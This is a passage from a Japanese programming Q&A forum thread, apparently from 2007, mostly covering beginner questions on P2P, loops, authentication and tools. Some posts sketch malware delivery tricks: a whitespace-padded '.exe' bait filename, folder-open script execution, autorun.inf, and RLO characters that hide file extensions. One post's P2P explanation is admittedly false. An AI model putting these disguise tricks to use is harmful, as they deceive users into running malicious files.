その辺のセキュリティホールを突っつけば可能だね。
485デフォルトの名無しさん:2007/01/16(火) 15:11:13
全てのコードは実行されない限り動作しない
486デフォルトの名無しさん:2007/01/16(火) 15:23:23
P2P上に勝手にノードを作り出すことは可能なんでしょうか?
誰か教えて下さいませ
487訂正:2007/01/16(火) 15:27:16
P2P上に勝手に沢山のノード(仮に10000)を作り出すことは可能なんでしょうか?
誰か教えて下さいませ
488デフォルトの名無しさん:2007/01/16(火) 15:33:37
>>487
勝手に沢山のノードを作り出すことが可能なP2Pシステム上でならば可能。
489486:2007/01/16(火) 16:44:45
>>488
例えばどのようなものでしょうか?
490デフォルトの名無しさん:2007/01/16(火) 17:26:10
よくソフトウェアに逆アセンブル禁止とか書いてありますが
バレないで解析する方法って無いんですかね?
491デフォルトの名無しさん:2007/01/16(火) 17:45:28
「バレないで」の意味がわからん。
仮にやるとしたらお前がお前の部屋で勝手にやることになるであろう解析行為が、
「お前自身がバラす」以外のどんな理由でバレ得ると思ってるのか知りたい。
492デフォルトの名無しさん:2007/01/16(火) 18:03:45
>>483
フォルダ開いて感染、は出来ると思われ。
ある程度ターゲットの環境を限定すれば。

あと、セキュリティ甘いPCなら
ポートアタック使ってトリガー無しでハック出来るのでは?
詳しい事知らないけどそういうウィルスなかったっけ。
493デフォルトの名無しさん:2007/01/16(火) 18:06:49
>>490
それって18歳未満閲覧禁止とおなじじゃーん
494デフォルトの名無しさん:2007/01/16(火) 18:18:22
>>490
自分が機械語を読めるようになれば良いと思うよ。
495デフォルトの名無しさん:2007/01/16(火) 18:29:07
どこかでピュアP2P型は鯖依存しないけど、
ハイブリットP2P型ではできないって聞いたんですけど、
なぜでしょうか?
496デフォルトの名無しさん:2007/01/16(火) 18:38:52
>>495
ハイブリッドP2Pでは「何を」できないと聞いた?
497デフォルトの名無しさん:2007/01/16(火) 19:19:03
>>496
P2Pコミュニティでユーザー増えても鯖が一台で済むというのはどういう仕組みなんでしょうか?
どこかでピュアP2P型は鯖依存しないけど、
ハイブリットP2P型では従来の通り、鯖が50台とか必要だって聞いたんですけど、なぜでしょうか?
それはNapsterのように中央サーバーがあるものでも駄目なそうなのですが
お手数ですが、これについてもお教え下さいませ
498デフォルトの名無しさん:2007/01/16(火) 19:49:20
ドキ!水着だらけのお宝画像フォルダ                      .exe
499デフォルトの名無しさん:2007/01/16(火) 19:54:46
逆だよ。鯖が要るかどうかで分類して
鯖が要らないのをピュアP2Pといい、
鯖が要るのをハイブリッドP2Pというんだよ。
500伝説新人タクシ:2007/01/16(火) 20:03:35
逆アセンブルがバレるといえば、
Windows互換を目指すReactOSにはWindowsのコードを見た人によって書かれた部分がある
とかで書き直してるそうじゃないか
なんでWindowsを見たことがわかったんだ?
1.他の開発者も見たことがあるから匿名で指摘した
2.「LinuxユーザーはMicrosoftに借りがある」などと抜かすMicrosoftのバルマーたんが
 パイを”盗られない”ように必死でチェックしてるから
3.それが日本経団連の恐ろしさだから
かつてWindows2000のソースがネットに流出した事件があったというが
そんなものが近くにあったら読んでみたくはなるな
読むかどうか、読めるかどうかは別にして

>>492
フォルダってWINDOWS/explorer.exeが動くだけで問題ないのでは?

>>483
autorun.inf
ttp://www.vector.co.jp/soft/win95/util/se130039.html
501デフォルトの名無しさん:2007/01/16(火) 20:11:09
>>499
ということは、ハイブリッドP2Pでは利用者が数万人単位に増えると
鯖が50台とか必要になってくるということですか?
502デフォルトの名無しさん:2007/01/16(火) 20:13:41
そんなことはそのP2Pソフトの作り次第。
数万人単位での利用には50台くらいの鯖が要るような出来になっていれば、必要だろうな。
503デフォルトの名無しさん:2007/01/16(火) 20:58:52
>500
おまいexplorerが何をしてるかしってるか?
504デフォルトの名無しさん:2007/01/16(火) 21:03:23
何も知らない>>503が何かでっちあげてくれるそうです
505伝説新人タクシ:2007/01/16(火) 21:04:11
>>503
知らない
506デフォルトの名無しさん:2007/01/16(火) 23:01:47
>>500
ところがどっこい、フォルダを開くだけでHTML(に含まれるスクリプト)を実行する機能があるんだな。
たしかWeb表示とかいう機能だったと思う。(Windows XPから縮小傾向にあるが)
ローカルで動くから比較的スクリプトに対する制限が緩いはず。

過去にはこれに関するパッチも出たことがある気がする。
507デフォルトの名無しさん:2007/01/16(火) 23:04:56
C++畑の人の意見も聞いてみたい
508デフォルトの名無しさん:2007/01/16(火) 23:12:09
ウィルスじゃないけど、Unicode制御文字を使って
ファイル名の途中にrlo入れて拡張子をわかりにくくする方法があったな
2000〜XPあたりのexplorerでできたと思う
509デフォルトの名無しさん:2007/01/16(火) 23:20:38
ウイルス関係の話なら該当スレへ行けば馬鹿にでもわかるテンプレがあるだろう
510デフォルトの名無しさん:2007/01/17(水) 09:25:52
>>476
認証ツールの話なら
HDDのmbrのタイムスタンプ見てるのもあるよ
511デフォルトの名無しさん:2007/01/17(水) 09:33:50
>>507
何の意見?
512デフォルトの名無しさん:2007/01/17(水) 14:47:30
例えば、ピュアP2Pシステムを鯖で動かしたのならば
ハイブリットP2Pシステムのように数万人に数十台とかではなく
数万人でも一台で済むのでしょうか?
ソフトウェアにしてしまうと逆アセンブルされてソースが割れるのが嫌なんで
どうしても鯖でやりたいんです

それと分散サーバー型(Gnutellaのような)では鯖が要らないのに
中央サーバー型(Napsterのような)は上記のハイブリットP2Pと同じく
ピュアP2Pにも関わらず数十台の鯖を要してしまうのでしょうか?
多少理解を誤っている可能性がありますが、どうぞ怒らないで下さい

winnyは金子氏がソースを公開していないそうですが
winnyはソフトウェアでもソースが何故バレないんでしょうか?
教えて頂きたいです
513デフォルトの名無しさん:2007/01/17(水) 14:55:46
多少どころか全然話にならない
514デフォルトの名無しさん:2007/01/17(水) 15:00:36
昨日教えられたことを全然理解してないし
馬鹿には教えるだけ無駄ということだ
515デフォルトの名無しさん:2007/01/17(水) 15:00:53
>>512
>winnyは金子氏がソースを公開していないそうですが
>winnyはソフトウェアでもソースが何故バレないんでしょうか?
>教えて頂きたいです
余裕でバレてます
改造版も出回ってます
516デフォルトの名無しさん:2007/01/17(水) 15:20:48
N種類の変数がM種類の値を取る場合を考えて、(M^N通りの場合がある)
全ての場合を網羅的に探索するには、どうやってループ構文書けば良いですか?
517デフォルトの名無しさん:2007/01/17(水) 15:25:34
N回ループの中でM回ループ
518デフォルトの名無しさん:2007/01/17(水) 15:28:50
いやそれだとN*M通りの探索ですよね???
519デフォルトの名無しさん:2007/01/17(水) 15:30:27
NとMは変数で可変
520言葉が不足していたようです:2007/01/17(水) 15:51:46
例えば、ピュアP2Pシステムは鯖無しで動かせますが
ピュアP2Pシステムを鯖で動かしたのならば
ハイブリットP2Pシステムのように数万人に数十台とかではなく
数万人でも一台で済むのでしょうか?
ソフトウェアにしてしまうと逆アセンブルされてソースが割れるのが嫌なんで
どうしても鯖でやりたいんです

それと分散サーバー型(Gnutellaのような)では鯖が要らないのに
中央サーバー型(Napsterのような)は上記のハイブリットP2Pと同じく
ピュアP2Pにも関わらず数十台の鯖を要してしまうのでしょうか?
昨日聞きましたが、この部分については教えて頂けなかったので再度お聞き致します
521デフォルトの名無しさん:2007/01/17(水) 16:19:05
>>520
キミが考えているp2pと、俺たちが知っているp2pはどうやら名前だけ同じで
実体違うもののようだ。
残念ながら俺たち凡人ではキミの考えが理解できないので、続きは
http://book4.2ch.net/poem/で話してくれ
522デフォルトの名無しさん:2007/01/17(水) 16:27:13
P2Pには周りのノードと協調することで何かが進むシステム。
サーバーというものが要らないのじゃなくてサーバーという観念自体がない。

たとえば自動車。周りの自動車とてきとうに協調しながら適当に自動車交通系を構成する。
長所は、一部の車=ノードで事故が発生してもP2P系全体としては何事もなかったように
動き続けるところ。
短所は、一度動き出すと制御が利かないところ。


クライアント/サーバーシステム。
クライアントがサーバーに指示をもらってそのとおりに動くことで何かがシステム。
何をどう進めるかはすべてサーバーが知っている。

たとえば電車。中央の指揮所と通信して動いてる。
長所は、クライアントのプログラムが楽な点。
短所は、サーバーに何かの事故が発生するとすべてが破綻する。


ハイブリッドP2P。
基本的にP2Pだけど、クライアント/サーバーの仕組みも持つ仕組み。
たとえば、純粋なP2Pでは周りのノードの情報を自分のノードが認識する必要が
あるけどそれをするためにはどうしても初期ノードが必要。
この初期ノードを得るためにサーバーが要ったりすることが多い。
たとえばタクシーなんかは自動車の癖にサーバーの制御を受けたハイブリッドP2P。


ピュアP2Pが一台ですむというのは、たとえば周囲のノードの情報を
まったく知らないノードがあったとしてもそれはそれで、ノード1つだけで
構成されたP2P系がそこに発生してるから。
一台の車だけで、そこには自動車交通系が発生してる。

・・・ごめん、全部嘘。
523デフォルトの名無しさん:2007/01/17(水) 16:31:43
あぁ、ようやくわかったぞ。
>>520は「違法ファイル交換ソフト」をP2Pと呼んでいるのだ。
524デフォルトの名無しさん:2007/01/17(水) 16:32:30
>>521
俺たちで一括りにすんなw

俺には520の言わんとする意味がだいたい見当がつきました
520はこう言いたいのでしょう
イシャはどこだ
525私がアホでした:2007/01/17(水) 16:41:06
ハイブリットP2P型は数万人のユーザーに中央サーバー一台だけで耐えられるんですか?と聞きたかったんですw
526デフォルトの名無しさん:2007/01/17(水) 16:46:54
>>516
M回のループをN回ネスト
527デフォルトの名無しさん:2007/01/17(水) 16:56:28
>>525
お前んちのボロ鯖じゃ無理だから
528デフォルトの名無しさん:2007/01/17(水) 17:04:31
気違いの妄想
529デフォルトの名無しさん:2007/01/17(水) 17:08:05
> ソフトウェアにしてしまうと逆アセンブルされてソースが割れるのが嫌なんで
> どうしても鯖でやりたいんです

超能力か何か使うのか?
530デフォルトの名無しさん:2007/01/17(水) 17:30:51
あれだ、ファイル共有ハードウェア作ればいいんじゃね?

SATAとEthernet端子が付いてて、ハードディスクとして認識されるの。
531デフォルトの名無しさん:2007/01/17(水) 17:35:48
>>530
それならソースバレるだろうが。
532デフォルトの名無しさん:2007/01/17(水) 17:40:04
専用ICで処理すればいいんじゃね?

配線パターンを読まれるのは避けられないが
533デフォルトの名無しさん:2007/01/17(水) 17:42:57
本当にくだらない質問なんだけど、
よく本とかのサンプルプログラムで使われてる
「kitty on your lap」って文字通り以外で何か意味あるの?
534デフォルトの名無しさん:2007/01/17(水) 18:09:40
よく?
あんたはあのオタクっぽい著者の本しか読んでないのか?
535デフォルトの名無しさん:2007/01/17(水) 18:16:02
>>533
検索すればすぐ分かるけど、多分元ネタはゲームのタイトルだ。
でも、プログラムのサンプルで使ってる人間は一人しかいないと思うぞ。
536デフォルトの名無しさん:2007/01/17(水) 18:17:54
「自分の知らない他の本にもあるのかもしれない」
という可能性をまったく考えず、決め打ちでそういう反応する精神構造が
ちょっと不思議。

・・・で、その「著者」って誰? 俺はそれ、初めて見るな。
537デフォルトの名無しさん:2007/01/17(水) 18:21:43
○○○○○
538デフォルトの名無しさん:2007/01/17(水) 18:23:17
プログラムそのものの質問ではないのですが、ここで質問させてください。
他に適切な場所があれば教えてください(WebProgは汎用的な質問スレがありませんでした)。

Digest認証についてなんですが、
http://ja.wikipedia.org/wiki/Digest%E8%AA%8D%E8%A8%BC
の説明で、4.でクライアントが生成するランダムな文字列(cnonce)の存在意味がわかりません。
これは何のために存在し、また何のためにサーバに送る必要があるのでしょうか?
539デフォルトの名無しさん:2007/01/17(水) 18:24:33
>>536のようにあらゆる世事に精通している人間が初見というのなら
とりたてて知らなくても良い稀なキーワードなんだろ
気にするな
540デフォルトの名無しさん:2007/01/17(水) 18:37:42
ググって初めて存在を知ったよ
541デフォルトの名無しさん:2007/01/17(水) 18:40:25
セキュリティ
http://pc10.2ch.net/sec/
じゃね?
542デフォルトの名無しさん:2007/01/17(水) 18:43:51
>>541
ありがとうございます、そっちに行ってみます。
543デフォルトの名無しさん:2007/01/17(水) 19:20:47
Java使いの人に質問です。
主キーから外部キーにいたるまでDBから実行時にとれるのに
ほとんどのORMは、何故XMLにメタデータを書くんでしょうか?
544デフォルトの名無しさん:2007/01/17(水) 19:38:00
P2Pで思い出したが、P2P2chって不可能じゃないのかな。
確かwinnyでも50万ノードまでだったと思うんだが、
2chなら200万人が一斉に利用したと仮にだけど設定すればシステムが耐えられなくなるんじゃないの?。
誰か教えてくれ。
545デフォルトの名無しさん:2007/01/17(水) 19:44:20
>>544
この板はプログラムを作る人のための板です。
子供電話相談室で聞いてください。
546デフォルトの名無しさん:2007/01/17(水) 20:04:35
レフリーに試合をさせるようなものか
547533:2007/01/17(水) 20:05:24
遅くなってしまったけど教えてくれた方thxです。
最近読んだ赤坂玲音さんの本とか「猫でも〜」のサイトとかで見かけてhogeとかhello worldみたいなのの一種なのかと思って聞いてみた。
まだ初学者で読んだ本が少ない中で見かけたから「よく見かける」って定番の語句っぽい言い方しちゃったけど気になってしまった方いたらゴメン><
548デフォルトの名無しさん:2007/01/17(水) 20:06:08
膝の上の同居人
549デフォルトの名無しさん:2007/01/17(水) 20:19:15
ノード数の上限なんかあんの?
何が引っかかるんだ?
550デフォルトの名無しさん:2007/01/17(水) 20:46:53
もうマジで止めろ 死ねよ
551デフォルトの名無しさん:2007/01/17(水) 22:46:30
>>542
その板はWindows用セキュリティソフト板なので、板違い。
chosen plaintext attack対抗。rfc2617嫁
552デフォルトの名無しさん:2007/01/18(木) 21:24:27
webアプリケーションの開発は何がいいでしょうか?
初心者+無料だったらJavaあたりがいいのでしょうか?

ASPとかいろいろ言われたりしたんですが、
どこが違ってくるのか、誰か教えてください
553デフォルトの名無しさん:2007/01/18(木) 22:19:35
サーバのOSは?
554デフォルトの名無しさん:2007/01/18(木) 22:50:09
Windows95のpwsです
555デフォルトの名無しさん:2007/01/19(金) 01:19:58
>552
PHPでも使っとけ
556デフォルトの名無しさん:2007/01/19(金) 07:40:21
ファイル共有ソフトを作ったんですが、暗号化はどこまで出来るのでしょうか?
既に通信とキーとキャッシュは暗号化したのですが、他はしていませんので教えて下さい。
557デフォルトの名無しさん:2007/01/19(金) 07:45:42

558デフォルトの名無しさん:2007/01/19(金) 08:09:35
趣味でプログラミングやってるのですが、ソースをいじるときに
program_1.20.c
とか、手でバージョン番号を記入して管理しています。
こういうバージョン管理をしてくれるLinuxのソフトって何かありますか?
559デフォルトの名無しさん:2007/01/19(金) 08:21:53
Windows
560デフォルトの名無しさん:2007/01/19(金) 08:29:00
561デフォルトの名無しさん:2007/01/19(金) 08:30:21
どもです
562デフォルトの名無しさん:2007/01/19(金) 19:06:27
>>556
プログラム全てを暗号化することも出来る
つまりはどこまででも暗号化は可能だということだ
563デフォルトの名無しさん:2007/01/19(金) 20:41:36
フラクタルで文字の形を作れって課題がでてやり方調べようと思ったけど
やり方かいてるとこが全然見つかりません。どこか調べられるところないでしょうか
564デフォルトの名無しさん:2007/01/19(金) 21:14:21
Windows VC8のfstreamは、任意の位置にシークしておいても、
他のアプリがHDDにアクセスする度にまた任意の位置にシークしなおさなくちゃいけないんでしょうか。
565デフォルトの名無しさん:2007/01/19(金) 21:25:33
>>564
まさか!
566デフォルトの名無しさん:2007/01/19(金) 21:38:34
>>564
なわけない。
567デフォルトの名無しさん:2007/01/19(金) 21:48:28
ですよね。
568デフォルトの名無しさん:2007/01/19(金) 21:57:58
だとおもった。
569デフォルトの名無しさん:2007/01/19(金) 22:08:38
こんにちわ、超しょ新車です。
無料でCプラスプラスのプログラミングを始めたいと
おもっているのですが、(ダイレクトエックスを使いたい)
どうしたらできるのか教えてください。(手に入れるアプリなどを)
今は何も無い状態です。
プログラミングの知識は少しはあります
570デフォルトの名無しさん:2007/01/19(金) 22:15:06
懐かしいコピペだな
571デフォルトの名無しさん:2007/01/19(金) 22:23:50
569はコピペではありません
572デフォルトの名無しさん:2007/01/20(土) 00:19:08
ですよね。
573デフォルトの名無しさん:2007/01/20(土) 01:32:23
だとおもった。
574デフォルトの名無しさん:2007/01/20(土) 02:37:21
「不正文字・・・」だけど昔高速道路の電光掲示板のシステム組んでて
えらいさんにお披露目の時テストデータ消し忘れて
でかでかと「バカボンのパパなのだ」って表示してしまって
始末書を書いた覚えがあった。
575デフォルトの名無しさん:2007/01/20(土) 03:42:54
ワロタ
576デフォルトの名無しさん:2007/01/20(土) 04:16:29
ほげほげぷーとかにしとけばメタ構文変数ですって言い張れたのにw
577デフォルトの名無しさん:2007/01/20(土) 09:32:28
finally{
echo "Hello!";
}

こういうの見たんですけど、これってなんの言語ですか?
JAVAでechoっての見たことないんですけど
578デフォルトの名無しさん:2007/01/20(土) 11:03:21
>577
PHP…と思ったらPHPはfinally無いのか。
何言語だろこれ…?
579デフォルトの名無しさん:2007/01/20(土) 12:14:43
zshかなんかだろ
580デフォルトの名無しさん:2007/01/20(土) 13:21:46
【ネガティブ派遣根性チェック】

3つ以上、思い当たる点があればアナタの性格はひん曲がっており、ネガティブ負け組人生を歩んでいます。

□派遣先の人事権のある社員の意見はたとえ間違っていてもマンセーする
□派遣先から「いつまでもここで仕事してくださいね(安い金でw)」と言われている
□自社に仕事を持ち帰れるように言われるとムカつく
□自社で仕事なんてできるわけがない
□派遣労働の問題点の話題が出ると感情剥き出しにする
□派遣労働の問題を指摘する人は嫌いだ
□派遣先には仕事だけでなく自分のプライベートについても指示して欲しい
□自分の月額金額を知らない
□派遣先社員より自分の生涯収入が低いのは当然だ
□派遣先に尻尾を振り、いつまでも派遣を続けることが大切だ
581デフォルトの名無しさん:2007/01/20(土) 13:51:47
ポインタがいいよと君がいったから一月二十日はメモリ破壊日
582デフォルトの名無しさん:2007/01/20(土) 14:42:13
583デフォルトの名無しさん:2007/01/20(土) 14:50:09
最後だけ見た
584デフォルトの名無しさん:2007/01/20(土) 15:42:03
マルチで貼ってるみたいだけど、何だったの?
宣伝ならブラックリストに入れるだけで見ても気にしないけど、
グロは踏むのも嫌だ。
585デフォルトの名無しさん:2007/01/20(土) 15:58:11
>>584
グロではない、コミックのスキャン。害はないけど、開く必要もない。

586デフォルトの名無しさん:2007/01/20(土) 15:58:46
最後だけ見たら、どこで寸止めしてるのか気になって全部見ちまった
587デフォルトの名無しさん:2007/01/20(土) 16:13:02
ありがとん。
グロではないということで開く必要もないのに開いてみた。
最後笑った。でもなぜム板に?
588デフォルトの名無しさん:2007/01/20(土) 16:30:10
学校の勉強の上手い人はプログラム力も伸びますか?
またそれは勉強するときのどういう要素が関係してきますか?

暗記力
計算効率化能力
段取り力
本選び力
国語力
分析力
知識量
知識欲
向上心
語呂合わせ
学業及び人生の効率化
法則化
将来設計
パワーセーブ
他・・・

実際伸びたよって人の経験からも歓迎です
589デフォルトの名無しさん:2007/01/20(土) 16:42:39
勉強って思う時点でもう遅れをとってるね
すごくプログラミングできる人は趣味でやってるんだから
全く勉強だと思ってない
590デフォルトの名無しさん:2007/01/20(土) 16:44:24
俺は「すごくプログラミングできる人」ではまったくないけど、
それでも全然勉強だと思ってないもんな。楽しくてしょうがない。

できる人はそれをさらに越えて「オナニー並に気持ちいい」とか
そんな感じなんじゃないかな。
591デフォルトの名無しさん:2007/01/20(土) 16:53:49
俺的にはオナニーよりは気持ちいいな
592デフォルトの名無しさん:2007/01/20(土) 20:13:40
実際にプログラミングやってみれば何の能力が必要かって言うのが直ぐわかるよ。
593デフォルトの名無しさん:2007/01/20(土) 20:21:00
逆に言えば傍から見て勉強が上手い奴だって、単にその勉強(学問)が好きということ。
特定の科目だけできる奴なんてのはそう。
594デフォルトの名無しさん:2007/01/20(土) 22:12:29
デスクトップに常時居て、時間やスケジュールを知らせてくれるアイコン(?)を作りたいんですが、言語は何を使えば良いのでしょう?
出来るだけポピュラーな言語が良いんですが。
595デフォルトの名無しさん:2007/01/20(土) 22:27:54
>>594
COBOL
596デフォルトの名無しさん:2007/01/20(土) 22:31:40
>>595はやめとけ
597デフォルトの名無しさん:2007/01/20(土) 22:51:32
>>C++かC#
598デフォルトの名無しさん:2007/01/20(土) 23:39:45
>>588ですが
でも例えば大学院生の興味と高校生の高効率を同時にやれば最強かなとか思うんですが

たとえば先輩(あらゆる)に必読書とかバイブルを聞くとか・・・(もちろんただの一要素ですが)
イスラエルやアメリカやインドの技術の潮流を研究するとか・・・
599デフォルトの名無しさん:2007/01/20(土) 23:47:50
興味の差に大学院生も高校生もないよ
知識の差と環境の差

むしろ環境も知識もない高校生が院生に勝れる物こそ興味関心だと思うが。
600デフォルトの名無しさん:2007/01/20(土) 23:56:08
プログラミングの楽しさを知らないままプログラマーになることほど不幸は無いよ。
将棋に興味ないのに将棋の勉強してプロ棋士になるようなもんだから。

だから学生のころは、プログラミングを楽しいと感じることが重要。
知識なんて後まわしでいいから、とりあえず面白そうだと思ったもの手を出す。
飽きたら別の事する。で十分。
学生のうちは気合い入れて勉強するのは受験勉強と就職前くらいでいいよ。
601594:2007/01/21(日) 00:26:10
>597
有難う御座います。
602デフォルトの名無しさん:2007/01/21(日) 04:41:45
PCが古くないならVBでいいんでないの?
603デフォルトの名無しさん:2007/01/21(日) 05:55:49
今市販されてるのはもう VB2005 しかないがそれでもいいのなら
604デフォルトの名無しさん:2007/01/21(日) 07:47:32
switch文でbreakしないでそのまま次のラベルになだれ込むことを何という?
スルーダウンとかフローダウンとか、そんな感じの名称でなんかなかったっけ?
605デフォルトの名無しさん:2007/01/21(日) 07:53:47
fall through
606604:2007/01/21(日) 07:55:00
>>605
なるへそ。サンクス
607デフォルトの名無しさん:2007/01/21(日) 09:25:35
夢中になれるものが
いつか君をすげえやつにするんだ
608デフォルトの名無しさん:2007/01/21(日) 09:46:13
6174
-> 7641 - 1467 = 6174
収束するのがミソなんですよね
609デフォルトの名無しさん:2007/01/21(日) 10:03:01
>>600
楽しさ知ってるからこそ現実が辛くならないか?
610デフォルトの名無しさん:2007/01/21(日) 10:04:16
自分のためのソフトを自作するのは楽しいが

他人のために作ってるときは楽しいときも無い訳ではないが
楽しくないことも多い
611デフォルトの名無しさん:2007/01/21(日) 10:27:19
>>609
仕事で楽しさを求めるってのは違う。
ただ、本来プログラミングは楽しいものだって
深層心理に刻まれていると、土壇場で支えになる。

「なんでこんなことばっかりやってんだろ。そもそもプログラミングなんてつまんねーんだよ!」

プログラミングの楽しさを知ってる奴なら上のセリフの「そもそも」以降の言葉はでない。
612デフォルトの名無しさん:2007/01/21(日) 10:28:27
Eclipse Formsを使いたいのですが、
ttp://www.atmarkit.co.jp/fjava/rensai3/eclipsepgnpro05/eclipsepgnpro05_1.html
>Eclipse Formsはorg.eclipse.ui.formsプラグインによって提供されていますので、まずはこのプラグインを依存関係に追加しておく必要があります。
の所をどうしたらいいのかよくわかりません。
よろしければ設定方法を教えてくださいませ。
613デフォルトの名無しさん:2007/01/21(日) 10:44:32
>>611
良かったですね
614デフォルトの名無しさん:2007/01/21(日) 12:00:52
鍵とかキャッシュって暗号化すれば解読が難しくなるけど
これってソースコードにも反映されて、ソースでもこの部分の解読が実質出来なくなるのかな?
教えて下さい
615デフォルトの名無しさん:2007/01/21(日) 12:04:44
日本語でどうぞ
616デフォルトの名無しさん:2007/01/21(日) 12:20:01
>>614
暗号化された部分のソースコードは読むことが出来ない
617デフォルトの名無しさん:2007/01/21(日) 12:25:18
たぶんWebProg板向けの質問なんだろうな
618デフォルトの名無しさん:2007/01/21(日) 12:29:41
どこが?
619デフォルトの名無しさん:2007/01/21(日) 12:31:03
だれが?
620デフォルトの名無しさん:2007/01/21(日) 12:39:59
こいつアホだから放置で
621デフォルトの名無しさん:2007/01/21(日) 13:27:30
アホにアホいうもんがアホじゃー
622デフォルトの名無しさん:2007/01/21(日) 13:45:31
>520の続きか
気違いにはかかわらないほうがいいぞ
623デフォルトの名無しさん:2007/01/21(日) 15:06:19
昔見てたサイトで、CADを作っているプログラマが書いているコラムが何百項もあるサイトがあったのですが、
名前を忘れてしまいました、心あたりがある人がいましたら教えてください。
624デフォルトの名無しさん:2007/01/21(日) 20:00:09
昔見てたサイトで、OSを作っているプログラマが書いているコラムが何百項もあるサイトがあったのですが、
名前を忘れてしまいました、心あたりがある人がいましたら教えてください。

625デフォルトの名無しさん:2007/01/21(日) 20:06:40
626デフォルトの名無しさん:2007/01/21(日) 20:21:35
ASP.NETとASPって違うんですか?
教えてください
627デフォルトの名無しさん:2007/01/21(日) 21:06:05
NHKでGoogle特集はじまった
628デフォルトの名無しさん:2007/01/21(日) 21:13:42
>>627
GJ!見逃すところだったぜ

>>626
comを使うか.NETなのかが一番の違い
629デフォルトの名無しさん:2007/01/21(日) 21:20:43
Q、従来のHPは性質的なものである。
人によってHPが違うように見せるにはプログラムを作ればよい。
プログラムを作るメリットとは?

という問題があるのですが、この問題になんと答えたらいいですか?
教えてください。

630デフォルトの名無しさん:2007/01/21(日) 21:21:42
Q、従来のHPは性質的なものである。
人によってHPが違うように見せるにはプログラムを作ればよい。
プログラムを作るメリットとは?

という問題があるのですが、この問題になんと答えたらいいですか?
631デフォルトの名無しさん:2007/01/21(日) 21:24:54
>>630
板違い
632デフォルトの名無しさん:2007/01/21(日) 21:38:14
静的と書きたかったのか
633デフォルトの名無しさん:2007/01/21(日) 22:35:40
InternetGetPerSiteCookieDecisionの使い方をお教えください。
値が取得できません。
検索しまくったんですがサンプルも見つかりませんでした。
634デフォルトの名無しさん:2007/01/21(日) 23:40:03
>>629
人によって違うHPを見せることができる。
635デフォルトの名無しさん:2007/01/21(日) 23:52:35
>>633
単にサイト単位の管理やってないだけじゃね?
インターネットオプション>プライバシー>サイト
636633:2007/01/22(月) 00:48:01
>>635
よくわからんのですが、
管理しているwebサイトの中にはずらーっと常にブロックとか常に許可とか設定されてるんですわ。
引き続きどなたかお願い申し上げます。
637デフォルトの名無しさん:2007/01/22(月) 02:35:25
やっとNHKもGoogleを取り上げるようになったのか
638デフォルトの名無しさん:2007/01/22(月) 03:04:04
アルゴリズムの質問っておk?
639デフォルトの名無しさん:2007/01/22(月) 03:06:28
マルチだからダメ
640デフォルトの名無しさん:2007/01/22(月) 04:36:08
template <class T>
class ATL_NO_VTABLE hoge : public IOleCommandTarget
{
 STDMETHOD(Exec)( 〜 //処理
 STDMETHOD(QueryStatus)( 〜 //処理
};

と定義してあるクラスがあるんですが、
これを普通に継承させると「抽象クラスをインスタンス化できません」エラーが出ます。
どのように使ったらいいのでしょうか?
というかIOleCommandTargetを継承すると上記エラーが出ます。
641デフォルトの名無しさん:2007/01/22(月) 09:27:27
マルチアルゴリズム
642デフォルトの名無しさん:2007/01/22(月) 15:04:53
>>640
ATLがどこまでやってくれるか知らないが、IOleCommandTargetの全てのメソッドを実装しろ。
643デフォルトの名無しさん:2007/01/22(月) 15:42:43
Mac OS X 10.4を使ってプログラミングいるのですが、
/usr/include/sys/resource.hなどに書かれているid_t型っていうのは
既存の定義型では何型で定義されるんですか?
644デフォルトの名無しさん:2007/01/22(月) 17:49:24
int
645640:2007/01/22(月) 18:33:43
>>642
QueryStatusとExec以外に見当たりません。
ためしにAddref, QueryInterface, Releaseを定義してみましたがエラー、
IOleCommandTargetを直接継承してメソッドを定義してもエラーがでます。

よろしければ正常動作のサンプルなぞを示してくださいませんでしょうか、お願いします。
646デフォルトの名無しさん:2007/01/22(月) 18:42:00
C++で、計算した結果が -1.#IND00 となってしまうのですが
これはどうしてだかわかいりますでしょうか?

for(i=1; i<=100; i++)
{


x1=x;
v1=v;
x2=x+0.5*dt*v1;
v2=v-0.5*dt*(k/m)*x1;
x3=x+0.5*dt*v2;
v3=v-0.5*dt*(k/m)*x2;
x4=x+dt*v3;
v4=v-dt*(k/m)*x3;

x=x+dt*(v1+2*v2+2*v3+v4)/6;
v=v-dt*(k/m)*(x1+2*x2+2*x3+x4)/6;

t=t+dt;


printf("t=%f , x=%f, v=%f\n",t,x,v);
fprintf(fout,"%f %f %f\n",t,x,v);
}

fclose(fout);
}
647デフォルトの名無しさん:2007/01/22(月) 18:52:05
%f
648640=645:2007/01/22(月) 20:19:13
すいません、宣言の仕方がまずかったみたいです、お騒がせしました。
649デフォルトの名無しさん:2007/01/22(月) 22:14:26
>>637
私が知っている限りGoogleについては、NHKがマスコミの中では一番最初(2000年)に取り上げてるけど。
650デフォルトの名無しさん:2007/01/22(月) 23:25:03
KNOPPIXでberyl試してみたけどおもろいねこれ
651デフォルトの名無しさん:2007/01/22(月) 23:29:01
何の質問?
652648:2007/01/23(火) 01:10:00
たびたびで申し訳ありません。
エラーは出なくなったんですがどうにもこうにもイベントの取得ができません。
何卒ご教示ください。
653デフォルトの名無しさん:2007/01/23(火) 01:39:49
引数に自分自身をとるような再帰関数ってループにできますか?
654デフォルトの名無しさん:2007/01/23(火) 01:41:20
C#で例外をキャッチしてエラーログを出力してるんですけど、
書き込まれる時と、書き込まれない時があります。
原因はどんな事が考えられますか?
655デフォルトの名無しさん:2007/01/23(火) 02:26:16
>>653
日本語でおk
656デフォルトの名無しさん:2007/01/23(火) 02:35:35
>>654
もしイベントログのことを言っているなら致命的なバグがあるから注意
657デフォルトの名無しさん:2007/01/23(火) 05:55:34
>>655
はい、知っています。
おkだから日本語で書きました。
658デフォルトの名無しさん:2007/01/23(火) 07:37:16
>>657
意味が分かりません
日本語でどうぞ

ちなみに私は >>655 ではないです
659デフォルトの名無しさん:2007/01/23(火) 08:20:07
>>658
日本語でおk
660デフォルトの名無しさん:2007/01/23(火) 08:25:19
おkで日本語?
661デフォルトの名無しさん:2007/01/23(火) 09:58:24
プログラム覚えるとしたら、最初はどの言語がいい?
Windows Mobile5.0とXPでソフト作れたら良いなと思ってるんだけど、
VBじゃちょっと不便だったりする?
662デフォルトの名無しさん:2007/01/23(火) 10:03:08
>>661
最初に覚えるべき言語はRubyです
663デフォルトの名無しさん:2007/01/23(火) 10:21:45
>>661
C++をやっておけばいいよ。
歯ごたえはあるけど、これがやれれば他の言語にも行きやすい。

でも、くれぐれも>>662が言ってるRubyには手を出さないように。
これは一部の変人が勝手な優越意識を振りかざす、評判の悪いオナニー言語で、
